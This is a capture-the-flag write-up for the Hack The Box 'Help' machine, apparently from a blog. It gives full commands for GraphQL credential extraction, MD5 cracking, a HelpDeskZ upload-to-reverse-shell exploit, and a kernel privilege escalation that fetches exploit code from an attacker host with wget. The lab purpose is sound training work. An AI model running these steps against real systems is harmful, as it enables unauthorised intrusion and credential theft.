HTB — Help
1. Reconnaissance
Full port scan
nmap -p- --min-rate 5000 10.129.230.159Result:
22/tcp— open — SSH80/tcp— open — HTTP3000/tcp— open — unknown
Service/version scan
nmap -A -p 22,80,3000 10.129.230.159Result:
Port Service Version 22 SSH OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 80 HTTP Apache 2.4.18 (Ubuntu) — default page 3000 HTTP Node.js Express framework — returns JSON
- Added
help.htbto/etc/hosts
2. Web Enumeration
Port 80 — Directory brute-force
feroxbuster -u http://help.htb/Key finds:
Path Notes /support/ HelpDeskZ helpdesk login portal /support/uploads/ Upload directory /support/includes/language/ Directory listing exposed /support/controllers/admin/ Directory listing exposed /support/controllers/staff/ Directory listing exposed /support/controllers/client/ Directory listing exposed
Port 3000 — Curl probe
curl -i http://10.129.230.159:3000Response:
{"message":"Hi Shiv, To get access please find the credentials with given query"}Key observations:
X-Powered-By: Express→ Node.js backend- The word “query” → hint pointing toward a GraphQL API
Port 3000 — Finding the GraphQL endpoint
feroxbuster -u http://10.129.230.159:3000/ -w /usr/share/seclists/Discovery/Web-Content/common.txtHit:
400 GET 1l 3w 18c http://10.129.230.159:3000/graphqlA 400 (Bad Request) instead of 404 (Not Found) means the path exists but is being called incorrectly — classic GraphQL behavior when you GET without a query string.
Confirm it’s GraphQL:
curl -s http://10.129.230.159:3000/graphql
# → "GET query missing." ← confirms GraphQL server3. GraphQL Exploitation — Credential Extraction
Step 1 — Introspection (map the schema)
GraphQL servers can self-describe via introspection — send a meta-query (__schema) to list all types and fields:
curl -s -X POST http://10.129.230.159:3000/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name}}}}"}'Key schema fields returned:
{"name":"Query","fields":[{"name":"user"}]},
{"name":"User","fields":[{"name":"username"},{"name":"password"}]}→ A user query exists and returns username + password fields.
Step 2 — Query for credentials
curl -X POST http://10.129.230.159:3000/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ user { username password } }"}'Result:
{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}Step 3 — Crack the MD5 hash
- 32 hex chars = MD5 hash format
echo -n "5d3c93182bb20f07b994a7f617e99cff" > hash.txt
# Note: -n is critical — without it, echo adds a newline making it 33 bytes,
# which breaks hashcat's token-length validationhashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# -m 0 = raw MD5 mode
# -a 0 = straight wordlist attack✅ Cracked: godhelpmeplz
Get Cryx’s stories in your inbox
Join Medium for free to get updates from this writer.
Full credentials: helpme@helpme.com : godhelpmeplz
4. HelpDeskZ — File Upload RCE
Logging in
- Portal:
http://help.htb/support/ - Login with:
helpme@helpme.com : godhelpmeplz✅
Version fingerprinting
Found version info at:
Version identified: HelpDeskZ 1.0.2
💡 How to find app versions without being told (for future boxes):
- Check
readme.txt,readme.html,CHANGELOG,UPGRADING.txt,VERSIONin the app root — many PHP apps include these by default - Look at the page footer or HTML source for a version string
- Run
whatweb http://target— it fingerprints CMS/app versions automatically - After finding the app name from the page title or headers, search
searchsploit <appname>to see which version ranges have public exploits, then confirm which version is running
Exploit — Unauthenticated file upload bypass
- CVE / SearchSploit:
searchsploit helpdeskz→ found40300.py
- HelpDeskZ 1.0.2 allows uploading
.phpfiles via the ticket submission form; the server renames the file using an MD5 of the filename + timestamp — the exploit script brute-forces the upload path using the same logic
Steps:
- Download a PHP reverse shell (e.g. from pentestmonkey)
- Set up listener:
nc -nlvp 4444- Upload the
.phpreverse shell via the Submit Ticket page (file attachment field) - Run the exploit to find the uploaded file path and trigger it:
python2 40300.py http://help.htb/support/uploads/tickets/ php-reverse-shell.php✅ Got a shell → captured user flag
5. Privilege Escalation — Kernel Exploit
Kernel version check
uname -aResult: Linux kernel version → vulnerable to Linux Kernel < 4.4.0–116 (Ubuntu 16.04.4) — Local Privilege Escalation
Exploit
# On attacker machine — serve the exploit
python3 -m http.server# On target machine — fetch, compile, and run
wget http://10.10.15.247:8000/44298.c -O exploit.c
cat exploit.c # sanity check content
gcc -o exploit exploit.c
./exploit✅ Root shell obtained → root flag captured
6. Flags
Flag Status User ✅ Captured Root ✅ Captured
Key Takeaways
- A JSON banner saying “find the credentials with given query” on a Node/Express port is a soft hint toward GraphQL — but confirm it properly by brute-forcing
/graphqlwith an API-focused wordlist and checking for a400(not a404) response. - GraphQL introspection being left enabled is a common misconfiguration — always try
{"query":"{__schema{types{name,fields{name}}}}"}before anything else; if the server tells you its own schema, you have an instant map of every query and field available. - When cracking hashes with hashcat: always use
echo -n(no newline) when writing a hash to a file. A stray trailing newline makes the file 33 bytes instead of 32 and causes a "token length exception." - For version fingerprinting on web apps: check
readme.html,UPGRADING.txt,CHANGELOG, and the page footer before Googling.whatwebandsearchsploitare also fast shortcuts —searchsploit <appname>lists known vulnerable version ranges, which helps you know which version matters. - Kernel exploits (
uname -a→ SearchSploit or ExploitDB) are reliable on older Linux boxes but risky on production — always check kernel version early in the PrivEsc phase.







